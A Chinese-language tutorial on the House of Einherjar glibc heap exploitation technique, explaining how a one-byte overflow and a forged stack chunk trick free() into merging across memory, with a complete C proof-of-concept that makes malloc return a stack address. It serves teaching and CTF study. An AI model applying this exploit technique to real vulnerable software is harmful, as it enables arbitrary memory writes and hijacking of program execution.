House of Einherjar 是一种非常经典且巧妙的堆溢出利用技术。只要你理解C语言中的指针,并且知道程序是通过 malloc 分配内存、free 释放内存的,我们就完全可以把这个漏洞的原理盘清楚。
简单来说,这个技术的核心思想是:利用一个微小的溢出(通常只有一个字节),欺骗内存管理器(glibc),让它跨越巨大的内存空间,把一个我们伪造的"假内存块"和刚刚释放的真内存块合并在一起。 这样,我们就能把内存分配到程序的任何地方(比如栈上)。
我们分步骤来拆解这个过程。
1. 铺垫:内存管理器的"合并"机制
当我们在程序中连续分配两个内存块(Chunk A 和 Chunk B)时,它们在内存中是挨着的。
为了防止内存碎片化,当你调用 free(B) 释放 Chunk B 时,glibc(内存管理器)会非常聪明地往回看一眼:"B 前面的 Chunk A 还在使用中吗?如果 A 也被释放了,我就把 A 和 B 合并成一个更大的空闲块。"
glibc 是怎么知道 A 是否空闲,以及 A 在哪里的呢?
这就依赖于 Chunk B 头部(Header)的两个关键数据:
- P标志位 (prev_inuse): 藏在 Chunk B 大小(Size)字段的最低位。如果 P=1,说明前面的 A 正在使用;如果 P=0,说明前面的 A 已经空闲,可以合并。
- prev_size: 记录前一个 Chunk 的大小。如果 glibc 决定要合并前面的块,它就会用
Chunk B 的地址 - prev_size,从而准确找到 Chunk A 的开头位置。
2. 破局点:只要溢出一个字节 (Off-by-One)
House of Einherjar 的威力在于,它不需要你有多大的溢出能力,只要能溢出一个字节(通常是一个 \x00空字节)就足够了。
假设我们正在向 Chunk A 写入数据,由于程序有一个小 Bug,我们多写了一个 \x00 字节。这个微小的溢出,恰好覆盖到了紧挨着它的 Chunk B 的 Header。
这一滴墨水,引发了致命的连锁反应:
- 它覆盖了 Chunk B 的
Size字段的最末尾一个字节,把 P标志位 从 1 变成了 0。 - Chunk A 的数据部分,其实是可以覆盖到 Chunk B 的
prev_size字段的(这是 glibc 为了节省内存设计的机制)。
此时,在 glibc 的眼里,世界变了:它误以为 Chunk B 前面的某块内存是空闲的!
3. 瞒天过海:伪造假区块 (Fake Chunk)
既然 glibc 认为前面有空闲块,那我们要做的就是给它"指一条明路"。
我们在程序里找一个我们想写入数据的地方(比如栈上,或者 BSS 段),在这个目标位置,我们手工构造一个"假内存块" (Fake Chunk)。
接着,我们在 Chunk A 里做手脚,修改 Chunk B 的 prev_size:
我们把 prev_size 的值,设置成 Chunk B 所在的地址,与我们伪造的 Fake Chunk 所在的地址之间的距离(差值)。
4. 见证奇迹:触发合并
万事俱备,现在我们在程序中触发 free(B)。
看看这个时候 glibc 会怎么做:
- 检查 Chunk B 的 P标志位。发现 P=0(被我们的溢出字节清零了)。
- glibc 心想:"前面的块是空闲的,我要合并它!"
- glibc 去找前面那个块的地址:计算
Chunk B 的地址 - prev_size。 - 因为我们把
prev_size设置成了那个巨大的距离,计算结果精准地指向了我们在栈上伪造的 Fake Chunk! - glibc 完全没有怀疑,它调用了一个叫
unlink的操作,把栈上的 Fake Chunk 和堆上的 Chunk B 强行跨界合并在了一起,变成了一个超级大的空闲块。
5. 摘取果实:任意地址写入
合并完成后,这个包含了目标地址的"超级大内存块"就被放回了空闲池中。
这时候,我们只要再调用一次 malloc,申请一个合适大小的内存,glibc 就会把刚才合并的那个内存块分配给我们。
结果就是:这次分配返回的指针,指向了栈(或者目标区域)!
接下来,无论我们往这个指针里写什么,都等同于直接修改了栈上的关键数据(比如覆盖函数的返回地址),从而控制程序的执行流(也就是我们常说的 Get Shell)。
简单总结它的流程:
- 踩点: 在目标位置(如栈)伪造一个 Fake Chunk。
- 布局: 申请 Chunk A 和 Chunk B。
- 篡改: 利用 Chunk A 的一字节溢出漏洞,把 Chunk B 的 P标志位清零,并把 B 的
prev_size改成 B 到 Fake Chunk 的距离。 - 引爆: 释放 Chunk B,触发跨界合并。
- 收割: 再次分配内存,直接控制目标地址。
安全防御的补充说明: 现代的 glibc 加入了 unlink 安全检查(比如检查假块的 fd 和 bk 指针是否合法,也就是 p->fd->bk == p 和 p->bk->fd == p)。因此在第一步伪造 Fake Chunk 时,我们通常需要先泄漏一个地址,把 Fake Chunk 的前后指针都指向自己,或者指向一个已知可控的内存,才能骗过这个安全检查。
例子
为了把这个精妙的过程具象化,我们用一段 C 语言代码来模拟整个 House of Einherjar 的利用过程。
在现代的 glibc 内存管理器中,unlink 宏有一个非常著名的安全检查,被称为 "双向链表完整性检查":
// glibc 源码中的 unlink 检查
if (FD->bk != P || BK->fd != P)
malloc_printerr ("corrupted double-linked list");
翻译过来就是:"你的下一个块的 prev 指针,和你的上一个块的 next 指针,必须都指向你。" 如果我们在栈上随便伪造一个假块(Fake Chunk),它的 fd 和 bk 指针如果是乱填的,程序在触发合并时就会直接崩溃报错。
最巧妙、最简单的绕过方法是:让 Fake Chunk 的 fd和 bk指针,都指向 Fake Chunk 自己。
下面是完整的利用代码示例与拆解:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
int main() {
// 【1. 布局】:申请 Chunk A 和 Chunk B
// A 申请 0x38 字节,实际分配 0x40 字节 (其中最后 8 字节是被 B 复用的 prev_size)
uint8_t *a = malloc(0x38);
// B 申请 0xf8 字节,实际分配 0x100 字节
uint8_t *b = malloc(0xf8);
// 【2. 踩点】:在栈上伪造 Fake Chunk
uint64_t fake_chunk[10];
uint64_t fake_chunk_addr = (uint64_t)fake_chunk;
fake_chunk[0] = 0; // prev_size (合并时用不到,填0)
fake_chunk[1] = 0x60; // size (大小只要合理即可)
// 核心绕过:让 fd 和 bk 都指向自己
// 这样 FD->bk 就是自己->bk,还是自己;BK->fd 也是自己。完美绕过安全检查!
fake_chunk[2] = fake_chunk_addr; // fd
fake_chunk[3] = fake_chunk_addr; // bk
// 【3. 计算偏移】:计算 Chunk B 到 Fake Chunk 的距离
// chunk header 在用户指针前 0x10 字节处
uint64_t b_header_addr = (uint64_t)b - 0x10;
uint64_t offset = b_header_addr - fake_chunk_addr;
// 【4. 篡改】:利用 Chunk A 的溢出漏洞
uint64_t *a_qword = (uint64_t *)a;
// 写入 Chunk B 的 prev_size(利用了 A 数据的最后 8 字节)
a_qword[6] = offset;
// 致命的 Off-by-One 单字节溢出!
// A 的用户数据界限是 0x38,往 a[0x38] 写一个字节,
// 恰好覆盖了 Chunk B 的 size 字段的最低位,把 P 标志位(prev_inuse)清零!
// 比如把原本的 size 0x101 变成了 0x100
a[0x38] = '\x00';
// 【5. 引爆】:触发合并
// glibc 释放 B 时发现 P 标志位为 0,以为前面的块空闲了。
// 它通过 b_header_addr - offset,精准找到了栈上的 fake_chunk!
// 接着对 fake_chunk 执行 unlink,因为 fd 和 bk 的巧妙设置,成功通过检查。
free(b);
// 【6. 收割】:控制目标地址
// 此时栈上的 fake_chunk 已经被 glibc 吞进了 unsorted bin 空闲链表中。
// 我们再次申请内存,glibc 就会把栈的地址分配给我们!
uint8_t *target = malloc(0x150);
// 劫持成功!我们现在可以直接往栈上写数据了,比如覆盖函数的返回地址
strcpy((char *)target, "You have successfully hijacked the stack!");
printf("%s\n", target);
return 0;
}
核心原理解读
在这段代码中,最魔幻的化学反应发生在第 4 步和第 5 步:
prev_size复用机制 :在 ptmalloc 中,如果一个 Chunk 处于使用状态,它的prev_size字段(占 8 字节)是无效的,glibc 为了省内存,会把这 8 个字节借给前一个 Chunk(也就是 Chunk A)当用户数据用。这就是为什么往a_qword[6]写入offset,实际上就修改了 B 的prev_size。- **
fd == 自己,bk == 自己**:当 glibc 对栈上的fake_chunk执行unlink摘除操作时,它会取出FD = fake_chunk->fd和BK = fake_chunk->bk,此时FD和BK都是fake_chunk的地址。
当 glibc 检查FD->bk == P时,实际上就是在检查fake_chunk->bk == fake_chunk,这个等式永远成立。同理BK->fd也会通过检查。
这个技术在早期的 CTF 比赛和真实漏洞利用中极其常见,它将堆内存和栈(或 BSS 段)彻底打通,完成了从"堆溢出"到"任意地址写"的质变。